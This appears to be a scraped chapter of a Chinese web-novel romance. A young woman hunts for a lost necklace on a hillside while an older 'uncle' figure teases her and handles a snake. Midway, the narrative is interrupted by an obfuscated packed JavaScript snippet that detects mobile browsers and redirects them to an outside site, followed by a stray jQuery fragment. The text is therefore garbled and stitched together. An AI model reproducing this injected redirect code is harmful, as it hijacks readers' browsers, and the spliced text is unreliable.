宁姜识趣闭嘴。
跟他真是说不过三句话就搞颜色。
到底是谁说他正经高冷禁欲的,人设崩的不是一点半点。
……
走走停停,期间吃了两块面包,补充体力,到山顶的时候,已经是下午了。
宁姜凭借上次的记忆,穿过一片小树林,往里走。
天色有些阴沉沉的,似乎要下雨的前奏。
视线也快暗了。
树林深处因为前几天下了雨,潮湿沾着水汽,落叶更厚了一层,一眼望过去层层叠叠,找一条银链子难如登天。
宁姜整个人都快埋进树叶堆里。
京辞跟在她身后,似乎没有要动手的意思。
主打一个陪伴。
宁姜也没指望他会亲自帮忙寻找,毕竟这是她自己的事,他能舍身陪她开这么久的车,又爬了半天的山,她已经很感激了。
“别动。”
身后的京辞突然蹦出一句。
宁姜的身形一怔,下意识回头看他:“怎么了?”
“有蛇。”
什么???
蛇!!!!!
宁姜的瞳孔瞬间扩大,僵了一样站在原地不敢动,恐惧霎时涌上全身。
“蛇在哪里?”
京辞闲散插兜,点了点下巴:“你身后的树干上。”
宁姜此刻后背正靠着树干,听到这话,小脸“唰”的一下就白了,连带着语气都颤颤巍巍,夹杂了求饶和哭腔。
“怎、怎么办?”
京辞闲庭信步,歪着头细细打量她身后,这会还在慢条斯理的科普。
“球**,国家二级保护动物,比你还金贵,别动,把它伤到了你要蹲进去。”
宁姜的心态快崩了。
都什么时候了,现在到底是谁想伤谁?
她惊恐地望向京辞:“小叔,你帮帮我呀……”
京辞一点没动,好整以暇地欣赏她:“罚站吧。”
他慢悠悠道,“等它觅够了食,吃饱了自然就会走,实在不行咬你两口,也没毒,死不了。”
这说的什么话!
宁姜神经更紧绷了。
站在原地一动都不敢动。
身后的树干上有“嘶嘶”的动静
传来,她感觉外套上有什么东西缠上来,在游移。
宁姜的理智彻底断了。
尖叫地朝前抖去,正好撞在京辞走来的身上,她混乱中脱掉外套,忍不住跳到他身上,抱着他的脖子哇哇叫。
“啊啊啊小叔救我!
京辞顺手托住她,像摁着个一惊一乍的小野猫。
他蹲下身,指尖翻起她的外套,里面缩着一坨球形的蛇神,似乎也在瑟瑟发抖。
他指法快准狠,压住蛇头,捏住头颈部,蛇尾巴瞬间缠绕在他手臂,金黄鲜艳的一条。
京辞玩心上来,把手伸到宁姜眼前。
宁姜魂都快吓掉了,瞬间尖叫着从他身上跳下来,连着退开三米远。
“你……你别过来!
京辞挑起眉梢,揶揄她:“敢来荒山野岭翻翻找找,还怕区区一条无毒蛇?
宁姜吓得颤抖:“那不一样,我最怕蛇了。
“过来,教你怎么抓它。
“我不要。宁姜连连摇头。
“快点,别矫情。京辞催促道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15690080|173332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宁姜咽了咽口水,不太敢忤逆他,蹑手蹑脚往前走了两步。
阴沉沉的光线下,鲜艳的花纹缠在他筋骨鼓胀的手背上,两根骨节分明的手指捏着它的七寸,动弹不得。
“这叫压头法。他展示,“抓它的时候,用手掌把头部压住,一只手捏住颈部。手法要熟练,动作要敏捷,确保它不能反身咬到。
宁姜惊魂未定,觉得难度系数真的很高。
“你还会抓蛇啊?她惊诧。
京辞“嗯了一声,淡淡道:“曾经有个人教过我,他喜欢玩这个。
宁姜对“那个人一点兴趣都没有。
她现在只对树叶堆下的项链感兴趣。
“我学会了,小叔你快把它放了吧,玩二级保护动物可是违法的。
她默默用法律压他。
京辞瞥了她一眼,手往地下一扬,蛇身落在厚软的落叶上,呲溜的消失不见。
宁姜:“……
就这么就近给放了?
她压下心里的尖叫,飞快从地上捡了根棍子,巴拉厚厚的落叶继续寻找。
总之是不敢上手了。
甚至连外套都不敢拿,最后还是京辞帮她收起来。
从天亮,到天黑,宁姜打着手电筒,不死心地一寸寸翻动。
因为害怕,还要拉着京辞,可怜兮兮地跟他求软。
“小叔,再陪我找一会儿吧,求你了。
她也就是在需要帮忙的时候,才会这么软骨头的服软。
京辞语调清淡,跟她讨价还价。
“延长半个小时,就多加一次。
宁姜一时没反应过来:“多加一次什么?
“你说呢?